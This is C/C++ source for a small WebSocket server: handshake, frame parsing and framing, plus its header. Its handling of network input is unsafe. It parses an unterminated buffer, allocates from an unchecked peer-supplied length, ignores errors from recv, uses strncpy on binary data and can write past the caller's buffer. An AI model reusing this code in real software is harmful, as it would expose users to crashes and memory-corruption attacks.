57 | int websocket_handshake(int sockfd) {
58 | char buffer[BUFFER_SIZE];
59 | char *header = NULL, *tok = NULL, *key = NULL;
60 | int n, len = strlen("Sec-WebSocket-Key: ");
61 | char concat[1024];
62 | char sha1buf[45];
63 | char *base64buf = NULL;
64 | unsigned char sha1mac[20];
65 | const char *GID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
66 | SHA1Context shactx;
67 | SHA1Reset(&shactx);
68 |
69 | n = recv(sockfd, buffer, BUFFER_SIZE, 0);
70 | header = (char *)malloc(n+1);
71 | strncpy(header, buffer, n);
72 | for (tok = strtok(header, "\r\n"); tok != NULL; tok = strtok(NULL, "\r\n")) {
73 | if (strstr(tok, "Sec-WebSocket-Key: ") != NULL) {
74 | key = (char *)malloc(strlen(tok)-len+1);
75 | strncpy(key, tok + len, strlen(tok)-len+1);
76 | break;
77 | }
78 | }
79 |
80 | if (key == NULL) {
81 | perror("Unable to find key in request headers.");
82 | goto Error;
83 | }
84 |
85 | memset(concat, 0, sizeof(concat));
86 | strncat(concat, key, strlen(key));
87 | strncat(concat, GID, strlen(GID));
88 | SHA1Input(&shactx, (unsigned char *) concat, strlen(concat));
89 | SHA1Result(&shactx);
90 | sprintf(sha1buf, "%08x%08x%08x%08x%08x", shactx.Message_Digest[0],
91 | shactx.Message_Digest[1], shactx.Message_Digest[2],
92 | shactx.Message_Digest[3], shactx.Message_Digest[4]);
93 | for (n = 0; n < (int)(strlen(sha1buf) / 2); n++) {
94 | sscanf(sha1buf + (n * 2), "%02hhx", sha1mac + n);
95 | }
96 | base64buf = (char *) malloc(256);
97 | base64_encode(sha1mac, 20, base64buf, 256);
98 |
99 | //response
100 | memset(buffer, 0, BUFFER_SIZE);
101 | snprintf(buffer, BUFFER_SIZE, "HTTP/1.1 101 Switching Protocols\r\n"
102 | "Upgrade: websocket\r\n"
103 | "Connection: Upgrade\r\n"
104 | "Sec-WebSocket-Accept: %s\r\n\r\n", base64buf);
105 | send(sockfd, buffer, strlen(buffer), 0);
106 |
107 | free(header);
108 | free(key);
109 | free(base64buf);
110 | return 0;
111 | Error:
112 | return -1;
113 | }
114 |
115 | static void websocket_recvn(int sockfd, unsigned char* buffer, int length) {
116 | int n;
117 | while (length > 0) {
118 | n = recv(sockfd, buffer, length, 0);
119 | length -= n;
120 | buffer += n;
121 | }
122 | }
123 |
124 | static void websocket_sendn(int sockfd, unsigned char* buffer, int length) {
125 | int n;
126 | while (length > 0) {
127 | n = send(sockfd, buffer, length, 0);
128 | length -= n;
129 | buffer += n;
130 | }
131 | }
132 |
133 | unsigned char* websocket_recv_frame(int sockfd, uint64_t* length, unsigned char* finished) {
134 | unsigned char header[MAX_FRAME_HEADER_SIZE];
135 | int pos = 0;
136 | uint64_t i;
137 | uint64_t frame_size;
138 | unsigned char fin, mask, opcode;
139 | unsigned char masks[4];
140 | unsigned char* buffer = NULL;
141 |
142 | websocket_recvn(sockfd, header, 2);
143 | pos += 2;
144 | frame_size = GET_LENGTH(header[1]);
145 | fin = GET_FIN(header[0]);
146 | mask = GET_MASK(header[1]);
147 | opcode = GET_OPCODE(header[0]);
148 |
149 | if (opcode != TEXT_FRAME && opcode != BINARY_FRAME && opcode != CONTINUE_FRAME) {
150 | perror("Unknown opcode!");
151 | goto Error;
152 | }
153 |
154 | if (frame_size == 126) {
155 | websocket_recvn(sockfd, header+pos, 2);
156 | pos += 2;
157 | frame_size = *(uint16_t *)(header+2);
158 | } else if (frame_size == 127) {
159 | websocket_recvn(sockfd, header+pos, 8);
160 | pos += 8;
161 | frame_size = *(uint64_t *)(header+2);
162 | }
163 |
164 | if (mask) {
165 | websocket_recvn(sockfd, header+pos, 4);
166 | memcpy((char*)masks, (char*)header+pos, 4);
167 | pos += 4;
168 | // printf("%x%x%x%x ", masks[0], masks[1], masks[2], masks[3]);
169 | }
170 |
171 | *length = frame_size;
172 | *finished = fin;
173 | buffer = (unsigned char*)malloc(frame_size);
174 | websocket_recvn(sockfd, buffer, frame_size);
175 | if (mask) {
176 | for (i = 0; i < frame_size; i++) {
177 | // printf("%x %x\n", buffer[i], buffer[i]^masks[i%4]);
178 | buffer[i] ^= masks[i%4];
179 | }
180 | }
181 |
182 | return buffer;
183 | Error:
184 | return NULL;
185 | }
186 |
187 | uint64_t websocket_recv_frag(int sockfd, unsigned char* buffer, uint64_t buffer_size) {
188 | unsigned char fin = 0;
189 | uint64_t length, recved = 0;
190 | unsigned char* response;
191 |
192 | while (fin == 0) {
193 | response = websocket_recv_frame(sockfd, &length, &fin);
194 | if (response == NULL) {
195 | goto Error;
196 | }
197 | if (recved + length > buffer_size) {
198 | perror("recved data size is too large");
199 | goto Error;
200 | }
201 | strncpy((char*)buffer+recved, (char*)response, length);
202 | free(response);
203 | recved += length;
204 | }
205 | buffer[recved] = '\0';
206 | return recved;
207 |
208 | Error:
209 | return -1;
210 | }
211 |
212 | char* websocket_make_frame(unsigned char* data, uint64_t length,
213 | WebSocketFrameType type, unsigned char mask, int &size) {
214 | unsigned char flags = (unsigned char)type + (1 << 7);
215 | int pos = 0, i;
216 | unsigned char masks[4];
217 | unsigned char header[MAX_FRAME_HEADER_SIZE];
218 | char *buffer = NULL;
219 |
220 | header[pos++] = flags;
221 | if (length < 126) {
222 | header[pos++] = length + (mask << 7);
223 | } else if (length <= 65535) {
224 | header[pos++] = 126 + (mask << 7);
225 | header[pos++] = (length >> 8) & 0xff;
226 | header[pos++] = length & 0xff;
227 | } else {
228 | header[pos++] = 127 + (mask << 7);
229 | for (i = 7; i >= 0; i--) {
230 | header[pos++] = ((length >> 8*i) & 0xff);
231 | }
232 | }
233 |
234 | if (mask) {
235 | for (i = 0; i < 4; i++) {
236 | masks[i] = (unsigned char)i;
237 | header[pos++] = masks[i];
238 | }
239 | }
240 |
241 | buffer = (char*)malloc(pos+length);
242 | strncpy(buffer, (char *)header, pos);
243 | strncpy(buffer+pos, (char *)data, length);
244 | size = pos + length;
245 | return buffer;
246 | }
247 |
248 | int websocket_send_frame(int sockfd, unsigned char* data, uint64_t length,
249 | WebSocketFrameType type, unsigned char mask) {
250 | int size;
251 | char *buffer = websocket_make_frame(data, length, type, mask, size);
252 | websocket_sendn(sockfd, (unsigned char*)buffer, size);
253 | free(buffer);
254 |
255 | return length;
256 | }
257 |
--------------------------------------------------------------------------------
/server/src/websocket/websocket.h:
--------------------------------------------------------------------------------
1 | #ifndef _WEBSOCKET_H
2 | #define _WEBSOCKET_H
3 |
4 | #include
5 | #include
6 |
7 | #define MAX_FRAME_HEADER_SIZE 16
8 | #define GET_OPCODE(bits) (bits & 0x0f)
9 | #define GET_FIN(bits) ((bits >> 7) & 0x1)
10 | #define GET_MASK(bits) ((bits >> 7) & 0x1)
11 | #define GET_LENGTH(bits) (bits & ~0x80)
12 |
13 | enum WebSocketFrameType {
14 | CONTINUE_FRAME=0x0,
15 | TEXT_FRAME=0x1,
16 | BINARY_FRAME=0x2,
17 | PING_FRAME=0x9,
18 | PONG_FRAME=0xA
19 | };
20 |
21 | int websocket_init(int &sockfd, uint16_t port);
22 | int websocket_accept(int sockfd, int &newsockfd);
23 | void websocket_close(int sockfd);
24 | int websocket_handshake(int sockfd);
25 | unsigned char* websocket_recv_frame(int sockfd, uint64_t* length, unsigned char* finished);
26 | uint64_t websocket_recv_frag(int sockfd, unsigned char* buffer, uint64_t buffer_size);
27 | int websocket_send_frame(int sockfd, unsigned char* data, uint64_t length,
28 | WebSocketFrameType type, unsigned char mask);
29 | char* websocket_make_frame(unsigned char* data, uint64_t length,
30 | WebSocketFrameType type, unsigned char mask, int &size);
31 | #endif
--------------------------------------------------------------------------------